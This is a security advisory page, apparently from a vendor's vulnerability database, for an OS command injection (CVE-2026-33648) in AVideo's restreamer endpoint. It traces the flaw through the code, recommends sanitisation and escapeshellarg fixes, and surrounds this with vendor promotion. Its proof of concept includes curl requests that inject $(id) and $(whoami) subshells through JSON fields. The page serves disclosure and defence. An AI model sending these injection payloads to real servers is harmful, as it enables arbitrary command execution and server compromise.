Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-5m4q-5cvx-36mw

HIGH

AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path

Also known asCVE-2026-33648
Published
Mar 25, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk45th percentile+0.52%
0.00%0.37%0.74%1.11%0.1%0.1%0.1%0.6%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.

Details

The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:

1. User input ingestion (line 220):

$request = file_get_contents("php://input");
$robj = json_decode($request);

2. Log file template (line 58):

$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";

3. users_id injected without sanitization (line 318):

$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);

4. liveTransmitionHistory_id injected without sanitization (line 407):

$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);

Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.

5. Unsanitized log file path passed to exec() (lines 720, 723):

// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');

The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.

PoC

Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.

Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.

Step 2: Send a crafted restream request with shell metacharacters in users_id:

curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "x$(id > /tmp/pwned)x",
    "liveTransmitionHistory_id": "1"
  }'

Step 3: The resulting exec call becomes:

ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &

The $() subshell executes id > /tmp/pwned before the redirection is processed.

Step 4: Verify command execution:

curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user

The same vector works through liveTransmitionHistory_id:

curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "1",
    "liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
  }'

Impact

An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:

  • Full server compromise: Reading sensitive files (/etc/passwd, database credentials, .env files)
  • Data exfiltration: Accessing the AVideo database and all user data
  • Lateral movement: Using the compromised server as a pivot point
  • Service disruption: Killing processes, modifying or deleting files
  • Persistent backdoor: Installing web shells or cron jobs for ongoing access

The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.

Recommended Fix

Sanitize both users_id and liveTransmitionHistory_id immediately after input, and use escapeshellarg() on the log file path before shell execution.

In restreamer.json.php, after line 220 (input decoding), add input sanitization:

$robj = json_decode($request);
// Sanitize fields that will be used in file paths and shell commands
if (isset($robj->users_id)) {
    $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);
}
if (isset($robj->liveTransmitionHistory_id)) {
    $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);
}

At lines 720 and 723, use escapeshellarg() on the log file path:

// Line 720:
execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723:
exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');

Both fixes should be applied — input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-5m4q-5cvx-36mw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5m4q-5cvx-36mw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5m4q-5cvx-36mw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. ## Details The vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is: **1. User input ingestion** (line 220): ```php $request = file_get_c
O3 Security · Impact-Aware SCA

Is GHSA-5m4q-5cvx-36mw in your dependencies?

O3 detects GHSA-5m4q-5cvx-36mw across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.